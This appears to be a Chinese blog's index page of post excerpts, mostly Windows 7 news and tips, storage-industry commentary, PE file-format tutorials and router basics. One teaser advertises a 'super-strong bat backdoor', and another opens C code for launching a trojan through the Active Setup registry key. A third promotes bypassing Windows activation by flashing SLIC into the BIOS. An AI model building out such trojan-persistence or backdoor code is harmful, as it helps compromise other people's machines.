分类: |

超强bat后门

神刀网

密码是:shendao代码如下:

//////////////////////////

查看更多...

Tags: 超强bat后门 bat后门

分类:网络安全 | 固定链接 | 评论: 0 | 查看次数: 6948

vc实现ACTIVEX 木马启动方式

#include "stdafx.h"
#define ACTIVE_SETUP "SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{450D8FBA-AD25-11D0-98A8-0800361B1175}"
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,

查看更多...

分类:网络安全 | 固定链接 | 评论: 0 | 查看次数: 8171
据国外媒体今日报道,微软将对Windows7RC版(最终预览版)启动杀手锏,用户要么付费购买,要么就要忍受自动关机之苦。

  从2月15日开始,Windows7RC将每隔数小时显示警告通知提醒用户付费购买。从3月1日,运行Windows7RC的电脑将每隔2小时关机一次,关机前并无警告。

  微软发言人布兰登·莱布兰克(BrandonLeBlanc)在官方博客中称:“为了避免数据丢失,我建议用户尽快安装不会过期的Windows7版本。因为在自动关机的过程中,你的工作无法被保存。”

查看更多...

分类:智慧人生 | 固定链接 | 评论: 0 | 查看次数: 7214


在中华民族传统佳节——春节即将到来的喜庆日子,QQ拼音输入法发布了3.1正式版。该版本不负众望的推出了多项实用功能,如“屏幕截图”“超级简拼”“剪切板”等等,下面就跟随笔者一起来体验一下它的魅力吧!

查看更多...

分类:智慧人生 | 固定链接 | 评论: 0 | 查看次数: 6300


云存储“进行时”:随着更多企业希望在提高存储效率的同时降低日益增长的管理IT环境的复杂度,他们开始期望能更好地利用由存储服务和公共云提供商提供的存储架构设计方案。多数企业开始把商品化硬件基础设施与增值软件的组合看作是向业务交付存储功能的最佳途径,但这需要其在公共模式、私有模式和混合模式之间做出选择。在评估的过程中,企业存储管理者们必须考虑任何将作为文件存储服务基础的解决方案的成本、伸缩性、可用性、可管理性和性能。 

查看更多...

分类:智慧人生 | 固定链接 | 评论: 0 | 查看次数: 7029


行业竞争推动标准化软件:行业整合以及更加激烈的企业竞争将在2010年催生对异构标准化管理软件的需求。例如,Sun与Oracle之间可能发生的整合,以及它们在集成式x86大型主机市场与IBM、Cisco等公司之间的竞争,都将为企业提供多种选择。这些选择将继续推动产生对数据保护、存储以及一些高可用性技术(它消除了诸如大型主机那样的垂直整合而带来的信息孤岛)的需求。 

查看更多...

分类:智慧人生 | 固定链接 | 评论: 0 | 查看次数: 5630

【赛迪网讯】2010年将是“删除之年”:2010年,企业IT预算仍将有限,但信息量却仍在不断增加。尽管InfoPro表示:2010年的总体存储支出将比2009年有所增加,但也有不少被调查者表示预算会持平甚至减少。存储技术上一次跟上信息增长的步伐还是在2002年,为了再次迎头赶上,存储管理员需要抛弃固有的保存信息的“癖好”,转而更多地关注如何删除信息。“删除”意味着彻底改变过去“把备份设备作为长期存储”的做法。备份将会恢复其最初的用途,并通过结合“边存档边恢复”的技术,使信息实现长期有效的保存与处理。 


用于长期存储信息的备份磁带将不复存在:将备份用于信息储存是错误的观念,这是因为备份不是围绕信息本身,而是围绕信息孤岛——系统——来构架的。带有自动保留与删除功能并且可删除重复数据的主动归档,会大幅减少信息长期存储与检索的成本和时间。2010年,备份的作用将发生转变,将更侧重于短期恢复,即重复数据被删除后的数据快速备份,以及内置了复制到灾难恢复(DR)站点功能的粒度恢复。 

查看更多...

分类:智慧人生 | 固定链接 | 评论: 0 | 查看次数: 5888

PE文件的装载过程(4)

上周毕业答辩,没完成任务,惭愧惭愧。。。。

可选头的最后一部分是DataDirectory字段,这个字段包含了16个IMAGE_DATA_DIRECTORY结构,结构的定义如下:

IMAGE_DATA_DIRECTORY STRUCT

查看更多...

Tags: 文件 pe 格式 资源 汇编

分类:破解调试 | 固定链接 | 评论: 0 | 查看次数: 7853

PE文件的装载过程(3)

紧接着IMAGE_FILE_HEADER结构的是IMAGE_OPTIONAL_HEADER32结构,这个结构称为可选头, 其中定义了很多重要的信息,可选头的结构如下所示:

 

Code

查看更多...

Tags: 文件 pe 格式 资源 汇编

分类:破解调试 | 固定链接 | 评论: 0 | 查看次数: 7913

PE文件的装载过程(2)

上一篇讲到PE load程序已经找到了PE文件头,PE文件头的定义如下所示:

 

IMAGE_NT_HEADERS STRUCT

查看更多...

Tags: 文件 pe 格式 资源 汇编

分类:破解调试 | 固定链接 | 评论: 0 | 查看次数: 8671

PE文件的装载过程(1)

Windows下的可执行文件为PE(Portable Executable File Format/可移植的执行体)格式,文件的组织形式还是比较复杂的,花了大概一个星期的时间终于稍微弄懂了PE文件的装载过程。

PE文件最开始的部分称为DOS头,存在的作用是为了兼容DOS下的可执行程序,DOS头的结构如下:

 

查看更多...

Tags: 文件 pe 格式 资源 汇编

分类:破解调试 | 固定链接 | 评论: 0 | 查看次数: 9753
如今,人们越来越重视自己和家人的健康了,饮食开始注意科学合理搭配。目的只有一个,那就是让自己的身体尽量处于良好的健康状态。但是,有不少经常接触和使用电脑的人,却忽略了长时间使用电脑的时候,其实有个小敲门可以更好的保护自己的健康。这是偶的忠告,为了保护您的眼睛,请对电脑设置!

Win7和Vista系统设置如下:

第一步:桌面空白处右键 -》个性化 》窗口颜色 -》 高级外观设置

查看更多...

分类:win7技术 | 固定链接 | 评论: 0 | 查看次数: 6244

Win7、Vista、XP下一键安全删除USB设备

一般情况下,当插入闪存或其他可移动USB存储设备时,在系统托盘区会显示出一个绿色的弹出图标,以便让我们安全卸载USB设备。而当我们完成操作,要安全删除该设备时,最简单的方法是用鼠标左键点击这个绿色的图标,然后选择安全删除。不过可能你还不知道,安全删除USB设备,还可以做到一键删除!

注意:因为跳出的对话框是列表,所以您有多个USB设备也没问题,会让您选择!

来,一起看下具体的操作步骤吧!

查看更多...

分类:win7技术 | 固定链接 | 评论: 0 | 查看次数: 7636

硬刷BIOS激活Win7靠谱,微软永不封杀

硬刷BIOS加入SLIC 2.1激活Win7这种方式,可以理解成把自己摇身一变成微软许可的授权品牌机。从技术上,微软就不是太好控制,一旦对这个机制做出调整,那么各品牌机厂商可就遭罪了,批量部署生产线上的电脑就实现不了了,总不能手把手的把厂商的各种型号的每台电脑都嵌入不同的序列号和激活信息。

自打Windows XP开始,就有了“硬刷”激活,只不过因为有“VOL免激活密钥”问世,才使Windows XP“硬刷”所占“份额”极小。但当进入Windows Vista时代之后(当然包括Windows7),采用“硬刷”激活大行其道使用者众。我曾说过:微软永远不会封杀采用“硬刷”激活的Windows Vista和Windows 7。有些网友认为我的结论是“天方夜谭”。下面,我以亲身实践和铁的事实论证如下—— 

我有不少品牌机代理商朋友。由于这个方便条件,得以知晓各种品牌机BIOS中的SLIC,以及随机系统(Windows Vista和Windows 7)的“OEM证书”和“OEM密钥”。实践证明:我看到的和我提供的一模一样、完全一致。

查看更多...

分类:win7技术 | 固定链接 | 评论: 0 | 查看次数: 8604
微软中国Windows Live客户服务网站于昨日发布通知,通告Windows Live Messenger即时通讯工具无法正常启动的解决办法。

微软官方网站称,有部分用户反映Windows Live Messenger存在无法正常启动的问题。经过调查,该问题是由于用户安装的保护盾2.0在更新系统文件时出现了故障,引起Messenger程序不能正常启动。 

XP系统下用户在启动Live Messenger时可能遇到提示“应用程序异常unknown software exception(0xC00000d)”,而Vista与Windows7系统用户则可能无法启动该程序。

查看更多...

分类:win7技术 | 固定链接 | 评论: 0 | 查看次数: 7075

代号为KB977074的补丁让Win7反而不稳定

上周,微软发布了一系列针对Win7的非安全修复补丁。官方对这些补丁的注释是:“专门为提高Win7/Windows Server2008 R2的稳定性和可靠性”。

不幸的是,微软TechNet网站已经出现负面消息:此次代号为KB977074的补丁实际上会对系统的稳定性和可靠性造成破坏。 

有用户反应安装补丁后,系统不能正常启动,甚至无法关闭,只有按下电源键后才能实现关机。

查看更多...

分类:win7技术 | 固定链接 | 评论: 0 | 查看次数: 6904

Win7家庭基础版会导致屏幕出亮点

这个听起来有点扯,但是这家IT网站又说的像真的,大家只能继续观望事件的进展吧。同时,也只是造成假亮点,而不是真的物理伤害。不过看起来好像很严重……

看看正文吧!

新闻来源:小熊在线

查看更多...

分类:win7技术 | 固定链接 | 评论: 0 | 查看次数: 6294
据奇虎360公布的消息,最近两天,网上忽然出现大批专门针对360的木马和黑客攻击,360安全卫士为此紧急升级了主动防御功能。有少数用户反馈,在2月2日20:30到次日凌晨2:00升级的Windows 7和Windows Vista用户出现无法正常上网的情况。 

  对此,奇虎公司当日即给向媒体公布真实情况,并紧急发布360自动修复工具予以解决。

  在奇虎公司推出解决方法的同时,有网友也推出了自己的解决办法,与官方的解决办法相比,要更简单一些。具体如下: 

查看更多...

分类:win7技术 | 固定链接 | 评论: 0 | 查看次数: 6311
安装完Win7和Windows Server 2008 R2的用户们发现了一个很尴尬的问题,他们电脑的DVD光驱设备竟然无法识别,囧……

微软官方近期给予了解释:

出现此问题的原因是 SATA 驱动程序 (Msahci.sys) 自适应链接电源管理 (ALPM) 的新电源管理功能导致。某些光驱 ALPM 功能启用与执行不能正常工作,并导致计算机可能无法识别。 

查看更多...

分类:win7技术 | 固定链接 | 评论: 0 | 查看次数: 6239

路由器工作原理及安全设置

路由器工作原理

  路由器是工作在IP协议网络层实现子网之间转发数据的设备。路由器内部可以划分为控制平面和数据通道。在控制平 面上,路由协议可以有不同的类型。路由器通过路由协议交换网络的拓扑结构信息,依照拓扑结构动态生成路由表。在数据通道上,转发引擎从输入线路接收IP包 后,分析与修改包头,使用转发表查找输出端口,把数据交换到输出线路上。转发表是根据路由表生成的,其表项和路由表项有直接对应关系,但转发表的格式和路 由表的格式不同,它更适合实现快速查找。转发的主要流程包括线路输入、包头分析、数据存储、包头修改和线路输出。

  路由协议根据网 络拓扑结构动态生成路由表。IP协议把整个网络划分为管理区域,这些管理区域称为自治域,自治域区号实行全网统一管理。这样,路由协议就有域内协议和域间 协议之分。域内路由协议,如OSPF、IS-IS,在路由器间交换管理域内代表网络拓扑结构的链路状态,根据链路状态推导出路由表。域间路由协议相邻节点 交换数据,不能使用多播方式,只能采用指定的点到点连接。

查看更多...

分类:破解调试 | 固定链接 | 评论: 0 | 查看次数: 6726